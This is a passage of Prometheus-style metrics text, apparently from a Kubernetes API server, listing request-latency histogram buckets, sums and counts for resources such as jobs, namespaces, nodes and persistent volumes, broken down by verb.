patch\ } 1\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ watchlist\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ watchlist\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ watchlist\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ watchlist\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ watchlist\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ watchlist\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ watchlist\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ ingresses\ ,verb=\ watchlist\ ,le=\ +inf\ } 26\r apiserver_request_latencies_sum{resource=\ ingresses\ ,verb=\ watchlist\ } 6.6265207664e+10\r apiserver_request_latencies_count{resource=\ ingresses\ ,verb=\ watchlist\ } 26\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ delete\ ,le=\ 125000\ } 171\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ delete\ ,le=\ 250000\ } 178\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ delete\ ,le=\ 500000\ } 179\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ delete\ ,le=\ 1e+06\ } 181\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ delete\ ,le=\ 2e+06\ } 181\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ delete\ ,le=\ 4e+06\ } 181\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ delete\ ,le=\ 8e+06\ } 181\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ delete\ ,le=\ +inf\ } 181\r apiserver_request_latencies_sum{resource=\ jobs\ ,verb=\ delete\ } 5.697304e+06\r apiserver_request_latencies_count{resource=\ jobs\ ,verb=\ delete\ } 181\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ get\ ,le=\ 125000\ } 12\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ get\ ,le=\ 250000\ } 12\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ get\ ,le=\ 500000\ } 12\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ get\ ,le=\ 1e+06\ } 12\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ get\ ,le=\ 2e+06\ } 12\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ get\ ,le=\ 4e+06\ } 12\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ get\ ,le=\ 8e+06\ } 12\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ get\ ,le=\ +inf\ } 12\r apiserver_request_latencies_sum{resource=\ jobs\ ,verb=\ get\ } 56190\r apiserver_request_latencies_count{resource=\ jobs\ ,verb=\ get\ } 12\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ list\ ,le=\ 125000\ } 9\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ list\ ,le=\ 250000\ } 10\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ list\ ,le=\ 500000\ } 10\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ list\ ,le=\ 1e+06\ } 10\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ list\ ,le=\ 2e+06\ } 11\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ list\ ,le=\ 4e+06\ } 11\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ list\ ,le=\ 8e+06\ } 11\r apiserver_request_latencies_bucket{resource=\ jobs\ ,verb=\ list\ ,le=\ +inf\ } 11\r apiserver_request_latencies_sum{resource=\ jobs\ ,verb=\ list\ } 1.518463e+06\r apiserver_request_latencies_count{resource=\ jobs\ ,verb=\ list\ } 11\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ get\ ,le=\ 125000\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ get\ ,le=\ 250000\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ get\ ,le=\ 500000\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ get\ ,le=\ 1e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ get\ ,le=\ 2e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ get\ ,le=\ 4e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ get\ ,le=\ 8e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ get\ ,le=\ +inf\ } 2\r apiserver_request_latencies_sum{resource=\ limitranges\ ,verb=\ get\ } 3016\r apiserver_request_latencies_count{resource=\ limitranges\ ,verb=\ get\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ list\ ,le=\ 125000\ } 7\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ list\ ,le=\ 250000\ } 7\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ list\ ,le=\ 500000\ } 7\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ list\ ,le=\ 1e+06\ } 7\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ list\ ,le=\ 2e+06\ } 7\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ list\ ,le=\ 4e+06\ } 7\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ list\ ,le=\ 8e+06\ } 7\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ list\ ,le=\ +inf\ } 7\r apiserver_request_latencies_sum{resource=\ limitranges\ ,verb=\ list\ } 159548\r apiserver_request_latencies_count{resource=\ limitranges\ ,verb=\ list\ } 7\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ patch\ ,le=\ 125000\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ patch\ ,le=\ 250000\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ patch\ ,le=\ 500000\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ patch\ ,le=\ 1e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ patch\ ,le=\ 2e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ patch\ ,le=\ 4e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ patch\ ,le=\ 8e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ patch\ ,le=\ +inf\ } 2\r apiserver_request_latencies_sum{resource=\ limitranges\ ,verb=\ patch\ } 3588\r apiserver_request_latencies_count{resource=\ limitranges\ ,verb=\ patch\ } 2\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ watch\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ watch\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ watch\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ watch\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ watch\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ watch\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ watch\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ limitranges\ ,verb=\ watch\ ,le=\ +inf\ } 154\r apiserver_request_latencies_sum{resource=\ limitranges\ ,verb=\ watch\ } 6.9036552855e+10\r apiserver_request_latencies_count{resource=\ limitranges\ ,verb=\ watch\ } 154\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ get\ ,le=\ 125000\ } 9008\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ get\ ,le=\ 250000\ } 9117\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ get\ ,le=\ 500000\ } 9161\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ get\ ,le=\ 1e+06\ } 9165\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ get\ ,le=\ 2e+06\ } 9165\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ get\ ,le=\ 4e+06\ } 9165\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ get\ ,le=\ 8e+06\ } 9165\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ get\ ,le=\ +inf\ } 9165\r apiserver_request_latencies_sum{resource=\ namespaces\ ,verb=\ get\ } 1.41950381e+08\r apiserver_request_latencies_count{resource=\ namespaces\ ,verb=\ get\ } 9165\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ list\ ,le=\ 125000\ } 3\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ list\ ,le=\ 250000\ } 3\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ list\ ,le=\ 500000\ } 3\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ list\ ,le=\ 1e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ list\ ,le=\ 2e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ list\ ,le=\ 4e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ list\ ,le=\ 8e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ list\ ,le=\ +inf\ } 3\r apiserver_request_latencies_sum{resource=\ namespaces\ ,verb=\ list\ } 24493\r apiserver_request_latencies_count{resource=\ namespaces\ ,verb=\ list\ } 3\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ post\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ post\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ post\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ post\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ post\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ post\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ post\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ post\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ namespaces\ ,verb=\ post\ } 98086\r apiserver_request_latencies_count{resource=\ namespaces\ ,verb=\ post\ } 1\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watch\ ,le=\ 125000\ } 626\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watch\ ,le=\ 250000\ } 631\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watch\ ,le=\ 500000\ } 636\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watch\ ,le=\ 1e+06\ } 636\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watch\ ,le=\ 2e+06\ } 637\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watch\ ,le=\ 4e+06\ } 637\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watch\ ,le=\ 8e+06\ } 637\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watch\ ,le=\ +inf\ } 942\r apiserver_request_latencies_sum{resource=\ namespaces\ ,verb=\ watch\ } 1.35214363507e+11\r apiserver_request_latencies_count{resource=\ namespaces\ ,verb=\ watch\ } 942\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watchlist\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watchlist\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watchlist\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watchlist\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watchlist\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watchlist\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watchlist\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ namespaces\ ,verb=\ watchlist\ ,le=\ +inf\ } 5\r apiserver_request_latencies_sum{resource=\ namespaces\ ,verb=\ watchlist\ } 1.770343085e+09\r apiserver_request_latencies_count{resource=\ namespaces\ ,verb=\ watchlist\ } 5\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ get\ ,le=\ 125000\ } 34082\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ get\ ,le=\ 250000\ } 34102\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ get\ ,le=\ 500000\ } 34106\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ get\ ,le=\ 1e+06\ } 34107\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ get\ ,le=\ 2e+06\ } 34108\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ get\ ,le=\ 4e+06\ } 34108\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ get\ ,le=\ 8e+06\ } 34108\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ get\ ,le=\ +inf\ } 34108\r apiserver_request_latencies_sum{resource=\ nodes\ ,verb=\ get\ } 8.6578745e+07\r apiserver_request_latencies_count{resource=\ nodes\ ,verb=\ get\ } 34108\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ list\ ,le=\ 125000\ } 187\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ list\ ,le=\ 250000\ } 197\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ list\ ,le=\ 500000\ } 197\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ list\ ,le=\ 1e+06\ } 197\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ list\ ,le=\ 2e+06\ } 197\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ list\ ,le=\ 4e+06\ } 197\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ list\ ,le=\ 8e+06\ } 197\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ list\ ,le=\ +inf\ } 197\r apiserver_request_latencies_sum{resource=\ nodes\ ,verb=\ list\ } 6.570098e+06\r apiserver_request_latencies_count{resource=\ nodes\ ,verb=\ list\ } 197\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ patch\ ,le=\ 125000\ } 31108\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ patch\ ,le=\ 250000\ } 32466\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ patch\ ,le=\ 500000\ } 33520\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ patch\ ,le=\ 1e+06\ } 33968\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ patch\ ,le=\ 2e+06\ } 34036\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ patch\ ,le=\ 4e+06\ } 34042\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ patch\ ,le=\ 8e+06\ } 34042\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ patch\ ,le=\ +inf\ } 34042\r apiserver_request_latencies_sum{resource=\ nodes\ ,verb=\ patch\ } 1.871017595e+09\r apiserver_request_latencies_count{resource=\ nodes\ ,verb=\ patch\ } 34042\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ post\ ,le=\ 125000\ } 8\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ post\ ,le=\ 250000\ } 8\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ post\ ,le=\ 500000\ } 8\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ post\ ,le=\ 1e+06\ } 8\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ post\ ,le=\ 2e+06\ } 8\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ post\ ,le=\ 4e+06\ } 8\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ post\ ,le=\ 8e+06\ } 8\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ post\ ,le=\ +inf\ } 8\r apiserver_request_latencies_sum{resource=\ nodes\ ,verb=\ post\ } 59161\r apiserver_request_latencies_count{resource=\ nodes\ ,verb=\ post\ } 8\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ put\ ,le=\ 125000\ } 576\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ put\ ,le=\ 250000\ } 612\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ put\ ,le=\ 500000\ } 636\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ put\ ,le=\ 1e+06\ } 644\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ put\ ,le=\ 2e+06\ } 645\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ put\ ,le=\ 4e+06\ } 645\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ put\ ,le=\ 8e+06\ } 645\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ put\ ,le=\ +inf\ } 645\r apiserver_request_latencies_sum{resource=\ nodes\ ,verb=\ put\ } 3.8600184e+07\r apiserver_request_latencies_count{resource=\ nodes\ ,verb=\ put\ } 645\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watch\ ,le=\ 125000\ } 13191\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watch\ ,le=\ 250000\ } 13644\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watch\ ,le=\ 500000\ } 13919\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watch\ ,le=\ 1e+06\ } 14018\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watch\ ,le=\ 2e+06\ } 14040\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watch\ ,le=\ 4e+06\ } 14043\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watch\ ,le=\ 8e+06\ } 14043\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watch\ ,le=\ +inf\ } 15538\r apiserver_request_latencies_sum{resource=\ nodes\ ,verb=\ watch\ } 6.7447290162e+11\r apiserver_request_latencies_count{resource=\ nodes\ ,verb=\ watch\ } 15538\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watchlist\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watchlist\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watchlist\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watchlist\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watchlist\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watchlist\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watchlist\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ nodes\ ,verb=\ watchlist\ ,le=\ +inf\ } 35\r apiserver_request_latencies_sum{resource=\ nodes\ ,verb=\ watchlist\ } 1.3354929587e+10\r apiserver_request_latencies_count{resource=\ nodes\ ,verb=\ watchlist\ } 35\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ get\ ,le=\ 125000\ } 3638\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ get\ ,le=\ 250000\ } 3723\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ get\ ,le=\ 500000\ } 3778\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ get\ ,le=\ 1e+06\ } 3785\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ get\ ,le=\ 2e+06\ } 3788\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ get\ ,le=\ 4e+06\ } 3788\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ get\ ,le=\ 8e+06\ } 3788\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ get\ ,le=\ +inf\ } 3788\r apiserver_request_latencies_sum{resource=\ persistentvolumeclaims\ ,verb=\ get\ } 8.6392202e+07\r apiserver_request_latencies_count{resource=\ persistentvolumeclaims\ ,verb=\ get\ } 3788\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ list\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ list\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ list\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ list\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ list\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ list\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ list\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ list\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ persistentvolumeclaims\ ,verb=\ list\ } 288\r apiserver_request_latencies_count{resource=\ persistentvolumeclaims\ ,verb=\ list\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ watch\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ watch\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ watch\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ watch\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ watch\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ watch\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ watch\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ persistentvolumeclaims\ ,verb=\ watch\ ,le=\ +inf\ } 150\r apiserver_request_latencies_sum{resource=\ persistentvolumeclaims\ ,verb=\ watch\ } 6.9312180305e+10\r apiserver_request_latencies_count{resource=\ persistentvolumeclaims\ ,verb=\ watch\ } 150\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ get\ ,le=\ 125000\ } 3703\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ get\ ,le=\ 250000\ } 3758\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ get\ ,le=\ 500000\ } 3788\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ get\ ,le=\ 1e+06\ } 3789\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ get\ ,le=\ 2e+06\ } 3789\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ get\ ,le=\ 4e+06\ } 3789\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ get\ ,le=\ 8e+06\ } 3789\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ get\ ,le=\ +inf\ } 3789\r apiserver_request_latencies_sum{resource=\ persistentvolumes\ ,verb=\ get\ } 4.9947084e+07\r apiserver_request_latencies_count{resource=\ persistentvolumes\ ,verb=\ get\ } 3789\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ list\ ,le=\ 125000\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ list\ ,le=\ 250000\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ list\ ,le=\ 500000\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ list\ ,le=\ 1e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ list\ ,le=\ 2e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ list\ ,le=\ 4e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ list\ ,le=\ 8e+06\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ list\ ,le=\ +inf\ } 1\r apiserver_request_latencies_sum{resource=\ persistentvolumes\ ,verb=\ list\ } 268\r apiserver_request_latencies_count{resource=\ persistentvolumes\ ,verb=\ list\ } 1\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ watch\ ,le=\ 125000\ } 0\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ watch\ ,le=\ 250000\ } 0\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ watch\ ,le=\ 500000\ } 0\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ watch\ ,le=\ 1e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ watch\ ,le=\ 2e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ watch\ ,le=\ 4e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ watch\ ,le=\ 8e+06\ } 0\r apiserver_request_latencies_bucket{resource=\ persistentvolumes\ ,verb=\ watch\ ,le=\ +inf\ } 152\r apiserver_request_latencies_sum{resource=\ persistentvolumes\ ,verb=\ watch\ } 6.9265196092e+10\r apiserver_request_latencies_count{resource=\ persistentvolumes\ ,verb=\ watch\ } 152\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ get\ ,le=\ 125000\ } 2\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ get\ ,le=\ 250000\ } 3\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ get\ ,le=\ 500000\ } 3\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ get\ ,le=\ 1e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ get\ ,le=\ 2e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ get\ ,le=\ 4e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ get\ ,le=\ 8e+06\ } 3\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ get\ ,le=\ +inf\ } 3\r apiserver_request_latencies_sum{resource=\ platformcredentialssets\ ,verb=\ get\ } 138689\r apiserver_request_latencies_count{resource=\ platformcredentialssets\ ,verb=\ get\ } 3\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ list\ ,le=\ 125000\ } 548\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ list\ ,le=\ 250000\ } 564\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ list\ ,le=\ 500000\ } 567\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ list\ ,le=\ 1e+06\ } 567\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ list\ ,le=\ 2e+06\ } 567\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ list\ ,le=\ 4e+06\ } 567\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ list\ ,le=\ 8e+06\ } 567\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ list\ ,le=\ +inf\ } 567\r apiserver_request_latencies_sum{resource=\ platformcredentialssets\ ,verb=\ list\ } 1.0165435e+07\r apiserver_request_latencies_count{resource=\ platformcredentialssets\ ,verb=\ list\ } 567\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ put\ ,le=\ 125000\ } 2\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ put\ ,le=\ 250000\ } 2\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ put\ ,le=\ 500000\ } 2\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ put\ ,le=\ 1e+06\ } 2\r apiserver_request_latencies_bucket{resource=\ platformcredentialssets\ ,verb=\ put\ ,le=\ 2e+06\ } 2\r 